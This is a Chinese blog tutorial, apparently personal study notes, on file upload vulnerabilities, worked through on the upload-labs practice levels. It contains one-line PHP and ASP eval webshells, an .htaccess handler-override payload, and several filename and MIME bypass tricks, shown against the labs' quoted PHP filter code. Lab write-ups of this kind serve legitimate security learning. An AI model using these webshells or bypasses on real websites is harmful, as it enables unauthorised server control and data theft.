文件上传漏洞 学习笔记(一)
source link: https://qwzf.github.io/2019/07/31/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0(%E4%B8%80)/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
文件上传漏洞 学习笔记(一)
学习进行时,最近我学习了文件上传漏洞,感觉收获很大,所以总结一下。
为什么存在文件上传漏洞
上传文件时,Web应用程序没有对上传文件的格式进行严格过滤 , 就容易造成可以上传任意文件的情况。还有一部分是攻击者通过 Web服务器的解析漏洞来突破Web应用程序的防护。
上传漏洞与SQL注入或 XSS相比 , 其风险更大 , 如果 Web应用程序存在上传漏洞,攻击者可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器,这个恶意脚本文件,又被称为WebShell,也可以将WebShell脚本称为一种网页后门。WebShell具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。
文件上传漏洞环境
upload-labs:https://github.com/c0ny1/upload-labs
皮卡丘:https://github.com/zhuifengshaonianhanlu/pikachu
DoraBox:https://github.com/gh0stkey/DoraBox
为了方便,我直接把漏洞环境部署到ubantu虚拟机了。
一、任意文件上传
DoraBox漏洞环境
没有进行任何过滤,可以上传任意文件
asp
<%eval request(“xxx”)%>
aspx
<%@ Page Languag=”xxx”%>
<%eval(Request.Item[“xxx”])%>
php
<?php @eval($_POST['a']) ?>
二、JS限制文件上传
Pass-01
.jpg|.png|.gif
的文件。查看源码
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
在客户端使用JS对不合法图片进行检查。所以绕过客户端JS检测,上传webshell
客户端JS检测
JS检测绕过上传漏洞,如果上传后缀不被允许,则会弹窗告知。
上传文件的数据包没有发到服务端,只在客户端使用JavaScript对数据包进行检测。
绕过客户端JS检测的三种方法
- 使用浏览器插件。删除检测文件后缀的JS代码,然后上传webshell
- 首先把webshell的后缀改成允许上传的
.jpg|.png|.gif
,绕过JS检测。再抓包,把后缀名改成.php
,即可上传webshell - 在前端js判断函数中加上可以上传php文件
尝试第二种,先把webshell的后缀.php
改为.jpg
.php
二、MIME限制文件上传
Pass-02
查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
在服务端对数据包的MIME进行检查。所以绕过文件类型,上传webshell
MIME
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
绕过服务端对数据包的MIME进行检查
在客户端上传文件,通过BurpSuite抓包。
- 上传php文件时,Content-Type的值是
application/octet-stream
; - 上传jpg文件时,Content-Type的值是
image/jpeg
- 如果服务器通过Content-Type的值判断文件类型,上传php文件(webshell)时,将Content-Type的值修改为
image/jpeg
,即可上传php文件(webshell)。
所以上传webshell.php,抓包修改Content-Type的值为image/jpeg
三、黑名单限制文件上传
Apache解析
- 有些Apache允许解析其他文件后缀。如在http.conf中,若配置有如下代码,则能解析php和phtml文件
AddType application/x-httpd-php .php .phtml
php复制代码 - Apache的解析顺序是从右到左开始解析文件后缀的,如果最右侧扩展名不可识别,就继续往左判断。直到遇到可以解析的文件后缀为止
htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
绕过文件后缀的方法- 上传一个后缀为phtml的webshell
- 上传文件名类似1.php.xxxx,因为后缀xxxx不可以解析,所以向左解析后缀
.php
- 构造.htaccess,实现重写文件解析。
- 大小写绕过
- 在后缀名中加空绕过
- 在后缀名中加”.”绕过
Pass-03(上传webshell.phtml绕过)
直接上传webshell,发现上传失败。
查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
黑名单判断,不允许上传.asp|.aspx|.php|.jsp
后缀文件。
尝试第一种方法,上传webshell.phtml
参考大佬博客,发现没有配置添加如下代码:
AddType application/x-httpd-php .php .phtml
配置方法参照:
ubuntu下apache与php配置
好了,我已经配置完毕,删除之前的文件,再上传一次。测试连接,连接失败。。emmmmm。。。。
查看上传的文件
Pass-04(重写文件解析绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
黑名单判断,不允许上传后缀文件为
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf
这样Pass-03的方法就没办法使用了。所以尝试使用方法3,构造.htaccess,实现重写文件解析。
同样这样的前提也是得在配置文件里面有这样的一句话
AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so
因为我的配置文件没有,所以配置一下。
参考博客:
apache开启rewrite重写
.htaccess攻击
配置完毕。把SetHandler application/x-httpd-php
这句话写成.htaccess
,然后上传个jpg,它就当php解析了。.htaccess
文件内容为:
<FilesMatch "webshell">
SetHandler application/x-httpd-php
</FilesMatch>
先上传.htaccess
文件,然后上传webshell.jpg
上传成功,测试连接,连接成功
Pass-05(大小写绕过)
查看源码发现,与Pass-04相比,多了不允许上传后缀文件.htaccess
,但是没有将后缀进行大小写统一,于是可以通过大小写绕过。
上传webshell.phP
,上传成功。测试连接,连接失败。查看文件,发现文件名被替换
Pass-06(加空格绕过)
查看源码发现还是黑名单,但是没有对后缀名进行去空处理,可在后缀名中加空绕过。
上传webshell.php
,抓包,加空格
Pass-07(加.
绕过)
还是黑名单,禁止上传所有可以解析的后缀。
但是没有对后缀名进行去”.
”处理,利用windows特性,会自动去掉后缀名中最后的”.
”,可在后缀名中加”.”绕过。
上传webshell.php
,抓包,加.
Pass-08(加::$DATA
绕过)
还是黑名单,但是没有对后缀名进行去”::$DATA
”处理,利用windows特性,可在后缀名中加” ::$DATA
”绕过。
上传webshell.php
,抓包,加::$DATA
Pass-09(点+空格+点绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
还是黑名单,但是第15行和之前不太一样,路径拼接的是处理后的文件名。
str_replace先删除一个点,再删除一个空格。
点+空格+点,经过处理后,文件名变成webshell.php.
,即可绕过。
Pass-10(双写绕过)
查看源码发现关键代码
$file_name = trim($_FILES['upload_file']['name']);//定义name
$file_name = str_ireplace($deny_ext,"", $file_name);//替换上面的php这些为空
将问题后缀名替换为空,于是可以利用双写绕过。
上传webshell.php
,抓包,双写
文件上传漏洞总结之后,对文件上传漏洞理解了很多,也收获了很多。
继续努力学习。小白进阶ing
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK